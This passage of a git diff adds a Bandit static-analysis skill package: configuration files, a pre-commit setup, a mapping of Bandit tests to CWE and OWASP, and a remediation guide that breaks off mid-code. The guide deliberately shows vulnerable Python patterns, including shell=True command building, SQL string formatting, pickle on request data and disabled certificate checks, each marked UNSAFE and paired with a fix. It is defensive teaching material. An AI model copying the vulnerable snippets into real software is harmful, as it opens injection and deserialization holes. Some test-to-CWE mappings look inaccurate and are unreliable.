**Ticketing Integration**: Use `scripts/bandit_analyzer.py` to automatically create Jira/GitHub issues for HIGH severity findings with remediation guidance. + +## Troubleshooting + +### Issue: Too Many False Positives + +**Solution**: +1. Use confidence filtering: `bandit -r . -i` (HIGH confidence only) +2. Exclude test files: `bandit -r . --exclude /tests/` +3. Customize `.bandit.yaml` to skip specific tests for known safe patterns +4. Review and suppress with inline `# nosec` comments with justification + +### Issue: Scan Performance on Large Codebases + +**Solution**: +1. Exclude dependencies: Add `/venv/`, `/.venv/`, `/site-packages/` to `.bandit.yaml` exclude_dirs +2. Use multiprocessing: Bandit automatically parallelizes for directories +3. Scan only changed files in CI/CD: `git diff --name-only origin/main | grep '.py$' | xargs bandit` + +### Issue: Missing Specific Vulnerability Types + +**Solution**: +1. Check enabled tests: `bandit -l` (list all tests) +2. Ensure tests are not skipped in `.bandit.yaml` +3. Combine with Semgrep for additional coverage (e.g., business logic vulnerabilities) +4. Update Bandit regularly: `pip install --upgrade bandit` + +### Issue: Integration with Pre-commit Hooks + +**Solution**: +Use the bundled `assets/pre-commit-config.yaml`: + +```yaml +- repo: https://github.com/PyCQA/bandit + rev: '1.7.5' + hooks: + - id: bandit + args: ['-ll', '--recursive', '--configfile', '.bandit.yaml'] +``` + +Install hooks: `pre-commit install` + +## References + +- [Bandit Documentation](https://bandit.readthedocs.io/) +- [Bandit GitHub Repository](https://github.com/PyCQA/bandit) +- [OWASP Top 10](https://owasp.org/www-project-top-ten/) +- [CWE Database](https://cwe.mitre.org/) +- [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html) diff --git a/skills/appsec/sast-bandit/assets/.gitkeep b/skills/appsec/sast-bandit/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/sast-bandit/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/sast-bandit/assets/bandit_config.yaml b/skills/appsec/sast-bandit/assets/bandit_config.yaml new file mode 100644 index 0000000..baa2f22 --- /dev/null +++ b/skills/appsec/sast-bandit/assets/bandit_config.yaml @@ -0,0 +1,211 @@ +# Bandit Configuration File +# Production-ready configuration for Python security scanning + +# Directories to exclude from scanning +exclude_dirs: + # Python environments + - /venv/ + - /.venv/ + - /env/ + - /.env/ + - /virtualenv/ + - /.virtualenv/ + - /site-packages/ + - /dist-packages/ + + # Testing and build artifacts + - /tests/ + - /test/ + - /.pytest_cache/ + - /.tox/ + - /build/ + - /dist/ + - /.eggs/ + - /*.egg-info/ + + # Version control and IDE + - /.git/ + - /.svn/ + - /.hg/ + - /.idea/ + - /.vscode/ + - /__pycache__/ + + # Node modules and other language dependencies + - /node_modules/ + - /vendor/ + + # Documentation and examples + - /docs/ + - /examples/ + +# Tests to skip (use sparingly and document reasons) +skips: + # B101: Test for use of assert + # Commonly safe in test files and development code + # Consider keeping this enabled for production code + # - B101 + + # B311: Standard pseudo-random generators + # Only skip if using for non-security purposes (e.g., data generation) + # NEVER skip for security tokens, session IDs, or cryptographic operations + # - B311 + + # B404-B412: Import checks + # Skip only if you've reviewed and whitelisted specific imports + # - B404 # subprocess import + # - B405 # xml.etree.cElementTree import + # - B406 # xml.etree.ElementTree import + # - B407 # xml.expat import + # - B408 # xml.dom.minidom import + # - B409 # xml.dom.pulldom import + # - B410 # lxml import + # - B411 # xml.sax import + # - B412 # httpoxy + +# Specific tests to run (comment out to run all tests) +# Use this to focus on specific security checks +# tests: +# - B201 # Flask app run with debug=True +# - B301 # Pickle usage +# - B302 # Use of insecure MD2, MD4, MD5, or SHA1 hash +# - B303 # Use of insecure MD2, MD4, MD5, or SHA1 hash +# - B304 # Use of insecure cipher mode +# - B305 # Use of insecure cipher mode +# - B306 # Use of mktemp +# - B307 # Use of eval +# - B308 # Use of mark_safe +# - B310 # Audit URL open for permitted schemes +# - B311 # Standard pseudo-random generators +# - B313 # XML bad element tree +# - B314 # XML bad element tree (lxml) +# - B315 # XML bad element tree (expat) +# - B316 # XML bad element tree (sax) +# - B317 # XML bad element tree (expatreader) +# - B318 # XML bad element tree (expatbuilder) +# - B319 # XML bad element tree (xmlrpc) +# - B320 # XML bad element tree (pulldom) +# - B321 # FTP-related functions +# - B323 # Unverified context +# - B324 # Use of insecure hash functions +# - B601 # Paramiko call with shell=True +# - B602 # subprocess call with shell=True +# - B603 # subprocess without shell equals true +# - B604 # Function call with shell=True +# - B605 # Starting a process with a shell +# - B606 # Starting a process without shell +# - B607 # Starting a process with a partial path +# - B608 # Possible SQL injection +# - B609 # Use of wildcard injection +# - B610 # SQL injection via Django raw SQL +# - B611 # SQL injection via Django extra +# - B701 # jinja2 autoescape false +# - B702 # Test for use of mako templates +# - B703 # Django autoescape false + +# Plugin configuration +# Customize individual plugin behaviors + +# Shell injection plugin configuration +shell_injection: + # Additional commands to check for shell injection + # Default: ['os.system', 'subprocess.call', 'subprocess.Popen'] + no_shell: + - os.system + - subprocess.call + - subprocess.Popen + - subprocess.run + +# Hard-coded password plugin configuration +hardcoded_tmp_directory: + # Directories considered safe for temporary files + # tmp_dirs: + # - /tmp + # - /var/tmp + +# Output configuration (for reference - set via CLI) +# These are applied at runtime, not in config file +# output_format: json +# output_file: bandit-report.json +# verbose: true +# level: LOW # Report severity: LOW, MEDIUM, HIGH +# confidence: LOW # Report confidence: LOW, MEDIUM, HIGH + +# Severity and confidence thresholds +# LOW: Report all issues (default) +# MEDIUM: Report MEDIUM and HIGH severity issues only +# HIGH: Report only HIGH severity issues + +# Example usage commands: +# +# Basic scan: +# bandit -r . -c .bandit.yaml +# +# Scan with MEDIUM and HIGH severity only: +# bandit -r . -c .bandit.yaml -ll +# +# Scan with HIGH confidence only: +# bandit -r . -c .bandit.yaml -i +# +# Generate JSON report: +# bandit -r . -c .bandit.yaml -f json -o bandit-report.json +# +# Scan with enhanced analyzer script: +# python scripts/bandit_analyzer.py . --config .bandit.yaml --html report.html + +# Progressive security hardening approach: +# +# Phase 1 - Baseline scan (all findings): +# bandit -r . -c .bandit.yaml +# +# Phase 2 - Block CRITICAL (HIGH severity + HIGH confidence): +# bandit -r . -c .bandit.yaml -ll -i +# +# Phase 3 - Block HIGH severity: +# bandit -r . -c .bandit.yaml -ll +# +# Phase 4 - Block MEDIUM and above: +# bandit -r . -c .bandit.yaml -l +# +# Phase 5 - Report all findings: +# bandit -r . -c .bandit.yaml + +# Integration with CI/CD: +# +# GitHub Actions: +# - name: Run Bandit +# run: | +# pip install bandit +# bandit -r . -c .bandit.yaml -ll -f json -o bandit-report.json +# bandit -r . -c .bandit.yaml -ll || exit 1 +# +# GitLab CI: +# bandit: +# image: python:3.11 +# script: +# - pip install bandit +# - bandit -r . -c .bandit.yaml -ll +# allow_failure: false +# +# Jenkins: +# stage('Security Scan') { +# steps { +# sh 'pip install bandit' +# sh 'bandit -r . -c .bandit.yaml -ll -f json -o bandit-report.json' +# } +# } + +# False positive handling: +# +# Inline suppression (use sparingly and document): +# import pickle # nosec B403 - Internal use only, not exposed to user input +# +# Line-specific suppression: +# result = eval(safe_expression) # nosec B307 +# +# Block suppression: +# # nosec +# import xml.etree.ElementTree as ET +# +# NOTE: Always document WHY you're suppressing a finding +# Security team should review all nosec comments during code review diff --git a/skills/appsec/sast-bandit/assets/pre-commit-config.yaml b/skills/appsec/sast-bandit/assets/pre-commit-config.yaml new file mode 100644 index 0000000..ffdbd17 --- /dev/null +++ b/skills/appsec/sast-bandit/assets/pre-commit-config.yaml @@ -0,0 +1,217 @@ +# Pre-commit Hook Configuration for Bandit +# +# This configuration integrates Bandit security scanning into your git workflow, +# preventing commits that introduce HIGH severity security vulnerabilities. +# +# Installation: +# 1. Install pre-commit: pip install pre-commit +# 2. Copy this file to .pre-commit-config.yaml in your repository root +# 3. Install hooks: pre-commit install +# 4. (Optional) Run on all files: pre-commit run --all-files +# +# Usage: +# - Hooks run automatically on 'git commit' +# - Bypass hooks temporarily: git commit --no-verify (use sparingly!) +# - Update hooks: pre-commit autoupdate +# - Test hooks: pre-commit run --all-files + +repos: + # Python code formatting and linting + - repo: https://github.com/psf/black + rev: 23.12.1 + hooks: + - id: black + language_version: python3.11 + + - repo: https://github.com/pycqa/isort + rev: 5.13.2 + hooks: + - id: isort + args: ["--profile", "black"] + + - repo: https://github.com/pycqa/flake8 + rev: 7.0.0 + hooks: + - id: flake8 + args: ['--max-line-length=100', '--extend-ignore=E203,W503'] + + # Security scanning with Bandit + - repo: https://github.com/PyCQA/bandit + rev: '1.7.5' + hooks: + - id: bandit + name: Bandit Security Scan + args: + # Block HIGH and MEDIUM severity issues + - '-ll' + # Recursive scan + - '--recursive' + # Use custom config if present + - '--configfile' + - '.bandit.yaml' + # Skip low-priority tests to reduce false positives + # Uncomment to skip specific tests: + # - '-s' + # - 'B101,B601' + # Only scan Python files + files: \.py$ + # Exclude test files (adjust pattern as needed) + exclude: | + (?x)^( + tests/.*| + test_.*\.py| + .*_test\.py + )$ + + # Alternative Bandit configuration with stricter settings + # Uncomment to use this instead of the above + # - repo: https://github.com/PyCQA/bandit + # rev: '1.7.5' + # hooks: + # - id: bandit + # name: Bandit Security Scan (Strict) + # args: + # # Block only HIGH severity with HIGH confidence (Critical findings) + # - '-ll' + # - '-i' + # - '--recursive' + # - '--configfile' + # - '.bandit.yaml' + # files: \.py$ + + # Alternative: Run Bandit with custom script for enhanced reporting + # Uncomment to use enhanced analyzer + # - repo: local + # hooks: + # - id: bandit-enhanced + # name: Bandit Enhanced Security Scan + # entry: python scripts/bandit_analyzer.py + # args: + # - '.' + # - '--config' + # - '.bandit.yaml' + # - '--min-priority' + # - '4' # HIGH priority + # language: python + # files: \.py$ + # pass_filenames: false + + # Additional security and quality checks + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + # Prevent commits to main/master + - id: no-commit-to-branch + args: ['--branch', 'main', '--branch', 'master'] + + # Check for merge conflicts + - id: check-merge-conflict + + # Detect private keys + - id: detect-private-key + + # Check for large files (>500KB) + - id: check-added-large-files + args: ['--maxkb=500'] + + # Check YAML syntax + - id: check-yaml + args: ['--safe'] + + # Check JSON syntax + - id: check-json + + # Check for files that would conflict on case-insensitive filesystems + - id: check-case-conflict + + # Ensure files end with newline + - id: end-of-file-fixer + + # Trim trailing whitespace + - id: trailing-whitespace + + # Check for debugger imports + - id: debug-statements + + # Dependency security scanning + - repo: https://github.com/Lucas-C/pre-commit-hooks-safety + rev: v1.3.3 + hooks: + - id: python-safety-dependencies-check + files: requirements.*\.txt$ + + # Secret detection + - repo: https://github.com/Yelp/detect-secrets + rev: v1.4.0 + hooks: + - id: detect-secrets + args: ['--baseline', '.secrets.baseline'] + exclude: package.lock.json + +# Configuration for progressive security hardening +# +# Phase 1: Start with warnings only (for legacy codebases) +# Set bandit args to ['-r', '.', '--configfile', '.bandit.yaml', '--exit-zero'] +# This runs Bandit but doesn't block commits +# +# Phase 2: Block HIGH severity only +# Set bandit args to ['-lll', '--recursive', '--configfile', '.bandit.yaml'] +# +# Phase 3: Block MEDIUM and HIGH severity +# Set bandit args to ['-ll', '--recursive', '--configfile', '.bandit.yaml'] +# +# Phase 4: Block all findings (strictest) +# Set bandit args to ['-l', '--recursive', '--configfile', '.bandit.yaml'] + +# Bypassing hooks (use judiciously) +# +# Skip all hooks for a single commit: +# git commit --no-verify -m "Emergency hotfix" +# +# Skip specific hook: +# SKIP=bandit git commit -m "Commit message" +# +# Note: All bypasses should be documented and reviewed in code review + +# Troubleshooting +# +# Hook fails with "command not found": +# - Ensure pre-commit is installed: pip install pre-commit +# - Reinstall hooks: pre-commit install +# +# Hook fails with import errors: +# - Install dependencies: pip install -r requirements.txt +# - Update hooks: pre-commit autoupdate +# +# Too many false positives: +# - Adjust exclude patterns in .bandit.yaml +# - Use inline # nosec comments with justification +# - Adjust severity threshold in args (-l, -ll, -lll) +# +# Performance issues: +# - Exclude virtual environments in .bandit.yaml +# - Use 'files' and 'exclude' patterns to limit scope +# - Consider running stricter checks only on CI/CD + +# CI/CD Integration +# +# Run pre-commit checks in CI/CD: +# +# GitHub Actions: +# - name: Pre-commit checks +# uses: pre-commit/action@v3.0.0 +# +# GitLab CI: +# pre-commit: +# image: python:3.11 +# script: +# - pip install pre-commit +# - pre-commit run --all-files +# +# Jenkins: +# stage('Pre-commit') { +# steps { +# sh 'pip install pre-commit' +# sh 'pre-commit run --all-files' +# } +# } diff --git a/skills/appsec/sast-bandit/references/cwe_owasp_mapping.md b/skills/appsec/sast-bandit/references/cwe_owasp_mapping.md new file mode 100644 index 0000000..71b4408 --- /dev/null +++ b/skills/appsec/sast-bandit/references/cwe_owasp_mapping.md @@ -0,0 +1,157 @@ +# Bandit Test to CWE and OWASP Mapping + +Complete mapping between Bandit test IDs, Common Weakness Enumeration (CWE), and OWASP Top 10 2021 categories. + +## Table of Contents + +- [Cryptographic Issues](#cryptographic-issues) +- [Injection Vulnerabilities](#injection-vulnerabilities) +- [Security Misconfiguration](#security-misconfiguration) +- [Insecure Deserialization](#insecure-deserialization) +- [Access Control Issues](#access-control-issues) + +## Cryptographic Issues + +### OWASP A02:2021 - Cryptographic Failures + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B302 | Use of insecure MD2, MD4, MD5, or SHA1 hash function | CWE-327 | MEDIUM | +| B303 | Use of insecure MD2, MD4, or MD5 hash function | CWE-327 | MEDIUM | +| B304 | Use of insecure MD2, MD4, MD5, or SHA1 hash function | CWE-327 | MEDIUM | +| B305 | Use of insecure cipher mode | CWE-327 | MEDIUM | +| B306 | Use of insecure and deprecated function (mktemp) | CWE-377 | MEDIUM | +| B307 | Use of possibly insecure function (eval) | CWE-78 | MEDIUM | +| B311 | Standard pseudo-random generators are not suitable for security | CWE-330 | LOW | +| B323 | Unverified context with insecure default | CWE-327 | MEDIUM | +| B324 | Use of insecure hash functions in hashlib | CWE-327 | HIGH | +| B401 | Use of insecure telnet protocol | CWE-319 | HIGH | +| B402 | Use of insecure FTP protocol | CWE-319 | HIGH | +| B403 | Use of insecure pickle import | CWE-502 | LOW | +| B404 | Use of insecure subprocess import | CWE-78 | LOW | +| B413 | Use of pycrypto | CWE-327 | HIGH | +| B501 | Use of weak cryptographic key | CWE-326 | HIGH | +| B502 | Use of weak SSL/TLS protocol | CWE-327 | HIGH | +| B503 | Use of insecure SSL/TLS cipher | CWE-327 | MEDIUM | +| B504 | SSL with no version specified | CWE-327 | LOW | +| B505 | Use of weak cryptographic hash | CWE-327 | MEDIUM | + +**Remediation Strategy**: Replace weak cryptographic algorithms with strong alternatives. Use SHA-256 or SHA-512 for hashing, AES-256 for encryption, and TLS 1.2+ for transport security. For password hashing, use bcrypt, scrypt, or Argon2. + +## Injection Vulnerabilities + +### OWASP A03:2021 - Injection + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B308 | Use of mark_safe | CWE-80 | MEDIUM | +| B313 | XML bad element tree | CWE-611 | MEDIUM | +| B314 | XML bad element tree (lxml) | CWE-611 | MEDIUM | +| B315 | XML bad element tree (expat) | CWE-611 | MEDIUM | +| B316 | XML bad element tree (sax) | CWE-611 | MEDIUM | +| B317 | XML bad element tree (expatreader) | CWE-611 | MEDIUM | +| B318 | XML bad element tree (expatbuilder) | CWE-611 | MEDIUM | +| B319 | XML bad element tree (xmlrpc) | CWE-611 | HIGH | +| B320 | XML bad element tree (pulldom) | CWE-611 | HIGH | +| B321 | FTP-related functions are being called | CWE-319 | HIGH | +| B405 | XML mini DOM import | CWE-611 | LOW | +| B406 | XML etree import | CWE-611 | LOW | +| B407 | XML expat import | CWE-611 | LOW | +| B408 | XML minidom import | CWE-611 | LOW | +| B410 | XML etree import (lxml) | CWE-611 | LOW | +| B411 | XML standard library imports | CWE-611 | LOW | +| B412 | Deprecated httpoxy vulnerability | CWE-807 | LOW | +| B601 | Paramiko call with shell=True | CWE-78 | HIGH | +| B602 | subprocess call with shell=True | CWE-78 | HIGH | +| B603 | subprocess without shell=True | CWE-78 | LOW | +| B604 | Function call with shell=True | CWE-78 | HIGH | +| B605 | Starting a process with a shell | CWE-78 | HIGH | +| B606 | Starting a process without shell | CWE-78 | LOW | +| B607 | Starting a process with a partial path | CWE-78 | LOW | +| B608 | Possible SQL injection vector through string formatting | CWE-89 | MEDIUM | +| B609 | Use of wildcard injection | CWE-78 | MEDIUM | +| B610 | Potential SQL injection via Django raw SQL | CWE-89 | MEDIUM | +| B611 | Potential SQL injection via Django extra | CWE-89 | MEDIUM | + +**Remediation Strategy**: Never concatenate user input into commands, queries, or markup. Use parameterized queries for SQL, safe XML parsers with DTD processing disabled, and avoid `shell=True` in subprocess calls. Use `shlex.split()` for argument parsing. + +## Security Misconfiguration + +### OWASP A05:2021 - Security Misconfiguration + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B201 | Flask app run with debug=True | CWE-489 | HIGH | +| B310 | Audit URL open for permitted schemes | CWE-939 | MEDIUM | +| B506 | Test for use of yaml load | CWE-20 | MEDIUM | +| B507 | SSH with no host key verification | CWE-295 | MEDIUM | +| B701 | jinja2 autoescape false | CWE-94 | HIGH | +| B702 | Test for use of mako templates | CWE-94 | MEDIUM | +| B703 | Django autoescape false | CWE-94 | MEDIUM | + +**Remediation Strategy**: Disable debug mode in production, validate and sanitize all inputs, enable autoescape in template engines, use safe YAML loaders (`yaml.safe_load()`), and enforce strict host key verification for SSH connections. + +## Insecure Deserialization + +### OWASP A08:2021 - Software and Data Integrity Failures + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B301 | Pickle and modules that wrap it can be unsafe | CWE-502 | MEDIUM | + +**Remediation Strategy**: Avoid using pickle for untrusted data. Use JSON, MessagePack, or Protocol Buffers with strict schema validation. If pickle is necessary, implement cryptographic signing and validation of serialized data. + +## Access Control Issues + +### OWASP A01:2021 - Broken Access Control + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B506 | Test for use of yaml load (arbitrary code execution) | CWE-20 | MEDIUM | + +**Remediation Strategy**: Use `yaml.safe_load()` instead of `yaml.load()` to prevent arbitrary code execution. Implement proper access controls and input validation for all YAML processing. + +## Hardcoded Credentials + +### OWASP A02:2021 - Cryptographic Failures + +| Test ID | Description | CWE | Severity | +|---------|-------------|-----|----------| +| B105 | Possible hardcoded password string | CWE-259 | LOW | +| B106 | Possible hardcoded password function argument | CWE-259 | LOW | +| B107 | Possible hardcoded password default argument | CWE-259 | LOW | + +**Remediation Strategy**: Never hardcode credentials. Use environment variables, secret management services (HashiCorp Vault, AWS Secrets Manager), or encrypted configuration files with proper key management. + +## Priority Matrix + +Use this matrix to prioritize remediation efforts: + +| Priority | Criteria | Action | +|----------|----------|--------| +| **CRITICAL** | HIGH Severity + HIGH Confidence | Immediate remediation required | +| **HIGH** | HIGH Severity OR MEDIUM Severity + HIGH Confidence | Remediate within 1 sprint | +| **MEDIUM** | MEDIUM Severity + MEDIUM Confidence | Remediate within 2 sprints | +| **LOW** | LOW Severity OR LOW Confidence | Address during refactoring | +| **INFORMATIONAL** | Review only | Document and monitor | + +## OWASP Top 10 2021 Coverage + +| OWASP Category | Bandit Coverage | Notes | +|----------------|-----------------|-------| +| A01:2021 Broken Access Control | Partial | Covers YAML deserialization | +| A02:2021 Cryptographic Failures | Excellent | Comprehensive crypto checks | +| A03:2021 Injection | Excellent | SQL, command, XML injection | +| A04:2021 Insecure Design | None | Requires manual review | +| A05:2021 Security Misconfiguration | Good | Debug mode, templating | +| A06:2021 Vulnerable Components | None | Use Safety or pip-audit | +| A07:2021 Authentication Failures | Partial | Hardcoded credentials only | +| A08:2021 Data Integrity Failures | Good | Deserialization issues | +| A09:2021 Security Logging Failures | None | Requires manual review | +| A10:2021 SSRF | Partial | URL scheme validation | + +## References + +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [CWE Database](https://cwe.mitre.org/) +- [Bandit Documentation](https://bandit.readthedocs.io/) diff --git a/skills/appsec/sast-bandit/references/remediation_guide.md b/skills/appsec/sast-bandit/references/remediation_guide.md new file mode 100644 index 0000000..9d289b5 --- /dev/null +++ b/skills/appsec/sast-bandit/references/remediation_guide.md @@ -0,0 +1,622 @@ +# Bandit Finding Remediation Guide + +Comprehensive secure coding patterns and remediation strategies for common Bandit findings. + +## Table of Contents + +- [Hardcoded Credentials](#hardcoded-credentials) +- [SQL Injection](#sql-injection) +- [Command Injection](#command-injection) +- [Weak Cryptography](#weak-cryptography) +- [Insecure Deserialization](#insecure-deserialization) +- [XML External Entity (XXE)](#xml-external-entity-xxe) +- [Security Misconfiguration](#security-misconfiguration) + +--- + +## Hardcoded Credentials + +### B105, B106, B107: Hardcoded Passwords + +**Vulnerable Code:** +```python +# B105: Hardcoded password string +DATABASE_PASSWORD = "admin123" + +# B106: Hardcoded password in function call +db.connect(host="localhost", password="secret_password") + +# B107: Hardcoded password default argument +def connect_db(password="default_pass"): + pass +``` + +**Secure Solution:** +```python +import os +from dotenv import load_dotenv + +# Load environment variables +load_dotenv() + +# Use environment variables +DATABASE_PASSWORD = os.environ.get("DATABASE_PASSWORD") +if not DATABASE_PASSWORD: + raise ValueError("DATABASE_PASSWORD environment variable not set") + +# Use environment variables in function calls +db.connect( + host=os.environ.get("DB_HOST", "localhost"), + password=os.environ.get("DB_PASSWORD") +) + +# Use secret management service (example with AWS Secrets Manager) +import boto3 +from botocore.exceptions import ClientError + +def get_secret(secret_name): + session = boto3.session.Session() + client = session.client(service_name='secretsmanager', region_name='us-east-1') + try: + response = client.get_secret_value(SecretId=secret_name) + return response['SecretString'] + except ClientError as e: + raise Exception(f"Failed to retrieve secret: {e}") + +DATABASE_PASSWORD = get_secret("prod/db/password") +``` + +**Best Practices:** +- Use environment variables with `.env` files (never commit `.env` to version control) +- Use secret management services (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) +- Implement secret rotation policies +- Use configuration management tools (Ansible Vault, Kubernetes Secrets) + +--- + +## SQL Injection + +### B608: SQL Injection via String Formatting + +**Vulnerable Code:** +```python +# String formatting (UNSAFE) +user_id = request.GET['id'] +query = f"SELECT * FROM users WHERE id = {user_id}" +cursor.execute(query) + +# String concatenation (UNSAFE) +query = "SELECT * FROM users WHERE username = '" + username + "'" +cursor.execute(query) + +# Percent formatting (UNSAFE) +query = "SELECT * FROM users WHERE email = '%s'" % email +cursor.execute(query) +``` + +**Secure Solution with psycopg2:** +```python +import psycopg2 + +# Parameterized queries (SAFE) +user_id = request.GET['id'] +query = "SELECT * FROM users WHERE id = %s" +cursor.execute(query, (user_id,)) + +# Multiple parameters +query = "SELECT * FROM users WHERE username = %s AND active = %s" +cursor.execute(query, (username, True)) + +# Named parameters +query = "SELECT * FROM users WHERE username = %(username)s AND email = %(email)s" +cursor.execute(query, {'username': username, 'email': email}) +``` + +**Secure Solution with SQLAlchemy ORM:** +```python +from sqlalchemy import create_engine, select +from sqlalchemy.orm import Session + +# Using ORM (SAFE) +with Session(engine) as session: + stmt = select(User).where(User.username == username) + user = session.execute(stmt).scalar_one_or_none() + +# Using bound parameters with raw SQL (SAFE) +with Session(engine) as session: + result = session.execute( + text("SELECT * FROM users WHERE username = :username"), + {"username": username} + ) +``` + +**Secure Solution with Django ORM:** +```python +from django.db.models import Q + +# Django ORM (SAFE) +users = User.objects.filter(username=username) + +# Complex queries (SAFE) +users = User.objects.filter(Q(username=username) | Q(email=email)) + +# Raw SQL with parameters (SAFE) +from django.db import connection +with connection.cursor() as cursor: + cursor.execute("SELECT * FROM users WHERE username = %s", [username]) +``` + +**Best Practices:** +- Always use parameterized queries or prepared statements +- Never concatenate user input into SQL queries +- Use ORM when possible for automatic escaping +- Validate and sanitize inputs at application boundaries +- Apply least privilege principle to database accounts + +--- + +## Command Injection + +### B602, B604, B605: Shell Injection in Subprocess + +**Vulnerable Code:** +```python +import subprocess +import os + +# shell=True with user input (VERY UNSAFE) +filename = request.GET['file'] +subprocess.call(f"cat {filename}", shell=True) + +# os.system with user input (VERY UNSAFE) +os.system(f"ping -c 1 {hostname}") + +# String concatenation (UNSAFE) +cmd = "curl " + user_url +subprocess.call(cmd, shell=True) +``` + +**Secure Solution:** +```python +import subprocess +import shlex +from pathlib import Path + +# Use list of arguments without shell=True (SAFE) +filename = request.GET['file'] +subprocess.run(["cat", filename], check=True, capture_output=True) + +# Validate input before use +def validate_filename(filename): + """Validate filename to prevent path traversal.""" + # Allow only alphanumeric, dash, underscore, and dot + if not re.match(r'^[a-zA-Z0-9_.-]+$', filename): + raise ValueError("Invalid filename") + + # Resolve to absolute path and check it's within allowed directory + file_path = Path(UPLOAD_DIR) / filename + if not file_path.resolve().is_relative_to(Path(UPLOAD_DIR).resolve()): + raise ValueError("Path traversal detected") + + return file_path + +filename = validate_filename(request.GET['file']) +subprocess.run(["cat", str(filename)], check=True, capture_output=True) + +# Use shlex.split() for complex commands +import shlex +command_string = "ping -c 1 example.com" +subprocess.run(shlex.split(command_string), check=True, capture_output=True) + +# Whitelist approach for restricted commands +ALLOWED_COMMANDS = { + 'ping': ['ping', '-c', '1'], + 'traceroute': ['traceroute', '-m', '10'], +} + +command_type = request.GET['command'] +target = request.GET['target'] + +if command_type not in ALLOWED_COMMANDS: + raise ValueError("Command not allowed") + +# Validate target (e.g., IP address or hostname) +if not re.match(r'^[a-zA-Z0-9.-]+$', target): + raise ValueError("Invalid target") + +cmd = ALLOWED_COMMANDS[command_type] + [target] +subprocess.run(cmd, check=True, capture_output=True, timeout=10) +``` + +**Best Practices:** +- Never use `shell=True` with user input +- Pass arguments as list, not string +- Validate and whitelist all user inputs +- Use `shlex.split()` for parsing command strings +- Implement timeouts to prevent DoS +- Run subprocesses with minimal privileges + +--- + +## Weak Cryptography + +### B303, B304, B324: Weak Hash Functions + +**Vulnerable Code:** +```python +import hashlib +import md5 # Deprecated + +# MD5 (WEAK) +password_hash = hashlib.md5(password.encode()).hexdigest() + +# SHA1 (WEAK) +token = hashlib.sha1(user_data.encode()).hexdigest() +``` + +**Secure Solution:** +```python +import hashlib +import secrets +import bcrypt +from argon2 import PasswordHasher + +# SHA-256 for general hashing (ACCEPTABLE for non-password data) +data_hash = hashlib.sha256(data.encode()).hexdigest() + +# SHA-512 (BETTER for general hashing) +data_hash = hashlib.sha512(data.encode()).hexdigest() + +# bcrypt for password hashing (RECOMMENDED) +def hash_password(password: str) -> bytes: + """Hash password using bcrypt with salt.""" + salt = bcrypt.gensalt(rounds=12) # Cost factor 12 + return bcrypt.hashpw(password.encode(), salt) + +def verify_password(password: str, hashed: bytes) -> bool: + """Verify password against bcrypt hash.""" + return bcrypt.checkpw(password.encode(), hashed) + +# Argon2 for password hashing (BEST - winner of Password Hashing Competition) +ph = PasswordHasher( + time_cost=2, # Number of iterations + memory_cost=65536, # Memory usage in KiB (64 MB) + parallelism=4, # Number of parallel threads +) + +def hash_password_argon2(password: str) -> str: + """Hash password using Argon2.""" + return ph.hash(password) + +def verify_password_argon2(password: str, hashed: str) -> bool: + """Verify password against Argon2 hash.""" + try: + ph.verify(hashed, password) + return True + except: + return False + +# HMAC for message authentication +import hmac +def create_signature(message: str, secret_key: bytes) -> str: + """Create HMAC-SHA256 signature.""" + return hmac.new( + secret_key, + message.encode(), + hashlib.sha256 + ).hexdigest() +``` + +### B501, B502, B503: Weak SSL/TLS Configuration + +**Vulnerable Code:** +```python +import ssl +import requests + +# Weak SSL version (UNSAFE) +context = ssl.SSLContext(ssl.PROTOCOL_SSLv3) + +# Disabling certificate verification (VERY UNSAFE) +requests.get('https://example.com', verify=False) +``` + +**Secure Solution:** +```python +import ssl +import requests + +# Strong SSL/TLS configuration (SAFE) +context = ssl.create_default_context() +context.minimum_version = ssl.TLSVersion.TLSv1_2 +context.maximum_version = ssl.TLSVersion.TLSv1_3 + +# Restrict cipher suites +context.set_ciphers('ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS') + +# Enable certificate verification (default in requests) +response = requests.get('https://example.com', verify=True) + +# Custom CA bundle +response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt') + +# For urllib +import urllib.request +import certifi + +url = 'https://example.com' +response = urllib.request.urlopen(url, context=context, cafile=certifi.where()) +``` + +**Best Practices:** +- Use TLS 1.2 or TLS 1.3 only +- Disable weak cipher suites +- Always verify certificates in production +- Use certificate pinning for critical connections +- Regularly update SSL/TLS libraries + +--- + +## Insecure Deserialization + +### B301: Pickle Usage + +**Vulnerable Code:** +```python +import pickle + +# Deserializing untrusted data (VERY UNSAFE) +user_data = pickle.loads(request.body) + +# Loading from file (UNSAFE if file is from untrusted source) +with open('user_session.pkl', 'rb') as f: + session = pickle.load(f) +``` + +**Secure Solution:** +```python +import json +import msgpack +from cryptography.fernet import Fernet + +# Use JSON for simple data (SAFE) +user_data = json.loads(request.body) + +# Use MessagePack for binary efficiency (SAFE) +user_data = msgpack.unpackb(request.body) + +# If pickle is absolutely necessary, use cryptographic signing +import hmac +import hashlib +import pickle + +SECRET_KEY = os.environ['SECRET_KEY'].encode() + +def secure_pickle_dumps(obj): + """Serialize with HMAC signature.""" + pickled = pickle.dumps(obj) + signature = hmac.new(SECRET_KEY, pickled, hashlib.sha256).digest() + return signature + pickled + +def secure_pickle_loads(data): + """Deserialize with signature verification.""" + signature = data[:32] # SHA256 is 32 bytes + pickled = data[32:] + + expected_signature = hmac.new(SECRET_KEY, pickled, hashlib.sha256).digest() + + if not hmac.compare_digest(signature, expected_signature): + raise ValueError("Invalid signature - data may be tampered") + + return pickle.loads(pickled) + +# Better: Use itsdangerous for secure serialization +from itsdangerous import URLSafeSerializer + +serializer = 